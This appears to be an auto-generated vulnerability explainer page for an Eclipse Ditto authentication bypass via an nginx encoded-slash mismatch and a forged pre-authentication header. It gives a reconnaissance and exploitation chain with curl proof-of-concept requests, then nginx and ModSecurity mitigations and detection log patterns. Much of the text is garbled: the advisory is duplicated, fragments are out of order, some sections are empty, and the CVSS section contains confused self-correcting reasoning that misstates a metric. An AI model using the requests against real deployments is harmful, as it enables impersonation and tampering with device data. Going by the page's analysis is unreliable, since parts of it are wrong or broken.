CVE-2026-135150 — Eclipse Foundation Eclipse Ditto — CWE-290 · CWE-436
In Eclipse Ditto versions 1.1.0 to 3.9.9, the nginx reverse proxy configurations shipped with Ditto (Helm chart, Docker Compose, Kubernetes and OpenShift deployment files) forward a client-supplied `x-ditto-pre-authenticated` header to the Ditto gateway on locations that do not apply nginx authentication, such as `/api/2/connections`. nginx selects the location based on the normalized request URI but forwards the raw URI, while the gateway does not treat an encoded slash (`%2f`) as a path separator. A crafted request path is therefore routed by nginx through such an unauthenticated location and by the gateway to the regular Things and Policies HTTP API, including routes that send live messages to devices. When pre-authentication is enabled (the default of the Helm chart and the Docker Compose setup), an unauthenticated remote attacker can impersonate arbitrary policy subjects and read, modify and delete Things, read Policies, send messages to devices and create entities. Additionally, the optional Ingress of the Helm chart (Ditto 3.9.0 to 3.9.9) routes requests directly to the gateway without setting or removing that header, and the WebSocket Ingress of the Helm chart of Ditto 3.3.0 to 3.8.15 does not set it, allowing the same impersonation without path manipulation when pre-authentication is enabled. This bypasses the fix for CVE-2026-120753.
In Eclipse Ditto versions 1.1.0 to 3.9.9, the nginx reverse proxy configurations shipped with Ditto (Helm chart, Docker Compose, Kubernetes and OpenShift deployment files) forward a client-supplied `x-ditto-pre-authenticated` header to the Ditto gateway on locations that do not apply nginx authentication, such as `/api/2/connections`. nginx selects the location based on the normalized request URI but forwards the raw URI, while the gateway does not treat an encoded slash (`%2f`) as a path separator. A crafted request path is therefore routed by nginx through such an unauthenticated location and by the gateway to the regular Things and Policies HTTP API, including routes that send live messages to devices. When pre-authentication is enabled (the default of the Helm chart and the Docker Compose setup), an unauthenticated remote attacker can impersonate arbitrary policy subjects and read, modify and delete Things, read Policies, send messages to devices and create entities. Additionally, the optional Ingress of the Helm chart (Ditto 3.9.0 to 3.9.9) routes requests directly to the gateway without setting or removing that header, and the WebSocket Ingress of the Helm chart of Ditto 3.3.0 to 3.8.15 does not set it, allowing the same impersonation without path manipulation when pre-authentication is enabled. This bypasses the fix for CVE-2026-120753.
🎯 What is this vulnerability?
This vulnerability is a Path Traversal / Authentication Bypass caused by a Normalization Mismatch (CWE-290) between the reverse proxy (nginx) and the application backend (Eclipse Ditto Gateway), combined with the unsafe forwarding of untrusted headers (CWE-436).
Technical Flaw Breakdown:
1. Normalization Discrepancy:
* nginx: Selects the location block based on the normalized (decoded) URI.
* Ditto Gateway: Interprets the raw (encoded) URI for routing.
* The Gap: An attacker can craft a URI where the normalized path matches an unauthenticated nginx location (e.g., /api/2/connections), but the raw path contains an encoded slash (%2f) that the gateway interprets as a path separator, routing the request to a different, authenticated backend route (e.g., /api/2/things).
2. Header Injection/Forwarding:
* The nginx configuration forwards the client-supplied x-ditto-pre-authenticated header to the gateway.
On locations that do not* enforce nginx-level authentication (like /api/2/connections), this header is passed through untouched.
* The Ditto Gateway, if configured with pre-authentication enabled (default in Helm/Docker Compose), trusts this header to identify the user/subject.
3. Result: An unauthenticated attacker can send a request to an "open" nginx location with a crafted path and a forged x-ditto-pre-authenticated header. The gateway accepts the header as valid authentication and routes the request to sensitive APIs (Things, Policies, Messages) based on the decoded path structure.
CVSS 4.0 Vector Analysis:
AV:N/AC:L/AT:P/PR:N/UI:N: Network accessible, Low complexity, Privileged Access Required (AT:P)? Wait, the vector says AT:P but PR:N. In CVSS 4.0, AT is "Attack Target". AT:P means the attacker must target a privileged user? No, AT is not a standard CVSS 4.0 metric. Let's re-read the vector provided: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N.
Correction/Note:* Standard CVSS 4.0 metrics are AV, AC, AT, PR, UI, VC, VI, VA, SC, SI, SA.
AT:P in CVSS 4.0 means Privileged access is required for the attack target? Actually, AT stands for Attack Target. AT:P means the attacker must target a Privileged user/resource. However, the description says "unauthenticated remote attacker". This suggests a potential inconsistency in the provided vector or a specific interpretation where the target* is the privileged gateway service. Given PR:N (Privileges Required: None), the attacker does not need prior access. The AT:P likely indicates the vulnerability affects a privileged component (the gateway).
* VC:H/VI:H/VA:N: High Confidentiality and Integrity impact, No Availability impact. This aligns with reading/modifying data but not crashing the service.
⚡ Attack Chain
1. Discovery & Reconnaissance
- Fingerprinting: Identify Eclipse Ditto instances. Look for default ports (8080, 8081, or 443 if behind TLS).
- Version Check: * Check HTTP headers or API endpoints for version clues. * If using Helm/K8s, check for
- Target Identification: Confirm the presence of nginx as the reverse proxy (common in Ditto deployments).
x-ditto-pre-authenticated header behavior.
* Confirm if pre-authentication is enabled (default in Helm/Docker Compose). This can be inferred if requests without valid tokens are rejected on protected routes but accepted on open routes with the header.
2. Exploitation
The attacker crafts a request that: 1. Targets an nginx location that does not require authentication (e.g.,/api/2/connections).
2. Uses an encoded slash (%2f) in the path to trick the gateway into routing to a sensitive endpoint (e.g., /api/2/things).
3. Includes a forged x-ditto-pre-authenticated header to impersonate a valid subject.Illustrative PoC (curl):
# Step 1: Identify a valid subject ID to impersonate (e.g., from a known policy or default admin)
# Assume a valid subject ID is "org.eclipse.ditto:admin" or similar.
# Step 2: Craft the request
# Target nginx location: /api/2/connections (unauthenticated in nginx config)
# Gateway interpretation: /api/2/things (via %2f decoding)
# Forged Header: x-ditto-pre-authenticated: <valid-subject-id>
curl -v -X GET \
"http://<target-host>/api/2/connections%2fthings%2f<thing-id>" \
-H "x-ditto-pre-authenticated: org.eclipse.ditto:admin" \
-H "Content-Type: application/json"Explanation of the Path:
/api/2/connections%2fthings%2f<thing-id>* Normalized:
/api/2/connections/things/<thing-id>* Matches location:
/api/2/connections (unauthenticated).* Forwards raw URI:
/api/2/connections%2fthings%2f<thing-id>/api/2/connections%2fthings%2f<thing-id>* Decodes
%2f to /: /api/2/connections/things/<thing-id>* Routes to:
/api/2/things/<thing-id> (sensitive endpoint).* Checks
x-ditto-pre-authenticated header: Finds org.eclipse.ditto:admin.* Bypasses authentication: Trusts the header and allows access.
Alternative Exploit (Ingress Bypass):
For Ditto 3.9.0–3.9.9 (Helm Ingress) or 3.3.0–3.8.15 (WebSocket Ingress):
x-ditto-pre-authenticated header.curl -X GET \
"http://<target-host>/api/2/things/<thing-id>" \
-H "x-ditto-pre-authenticated: org.eclipse.ditto:admin"3. Post-Exploitation
🌍 Real World Impact
🛡️ Remediation & Mitigation
1. Upgrade
x-ditto-pre-authenticated header in nginx for all locations.
* Enforcing authentication in nginx for all sensitive locations.2. Workarounds (If Immediate Upgrade is Not Possible)
A. Modify nginx Configuration
If you control the nginx configuration (Helm values, Docker Compose, K8s manifests): 1. Strip the Header: Add the following to the nginxserver or location block:# Strip the untrusted header before forwarding to the gateway
proxy_set_header x-ditto-pre-authenticated "";2. Enforce Authentication: Ensure all locations that forward to the Ditto gateway require authentication at the nginx level (e.g., auth_basic, auth_request, or JWT validation).
3. Normalize URIs: Use rewrite to normalize the URI before forwarding, ensuring %2f is decoded consistently.
B. Disable Pre-Authentication
If you cannot modify nginx, disable thex-ditto-pre-authenticated feature in the Ditto Gateway configuration:
ditto.gateway.http.preAuthentication.enabled=false in the gateway configuration.C. WAF/ModSecurity Rule
Add a rule to block requests containing thex-ditto-pre-authenticated header if the client is not authenticated:# ModSecurity Rule (Illustrative)
SecRule REQUEST_HEADERS:User-Agent "@rx .+" \
"id:100001,phase:1,log,pass"
# Block if header is present and no valid auth token is found
SecRule REQUEST_HEADERS:x-ditto-pre-authenticated "@exists" \
"id:100002,phase:1,log,deny,status:403,msg:'Blocked unauthorized x-ditto-pre-authenticated header'"Note: This is a coarse mitigation. It may break legitimate pre-authenticated flows if not carefully tuned.
3. Detection
/api/2/connections or other unauthenticated locations with %2f in the URI.
* Look for the x-ditto-pre-authenticated header in requests to unauthenticated locations.
* Example log pattern:GET /api/2/connections%2fthings%2f123 HTTP/1.1
x-ditto-pre-authenticated: org.eclipse.ditto:adminx-ditto-pre-authenticated header.
* Correlate with unusual activity (e.g., bulk reads, writes to sensitive Things).
x-ditto-pre-authenticated header in unauthenticated requests.
* URI patterns containing %2f in paths that should not have encoded slashes.⚠️ Urgency
Patching Priority: CRITICAL
[🤖 CVE Professor AI Security Engine]
FOFA Query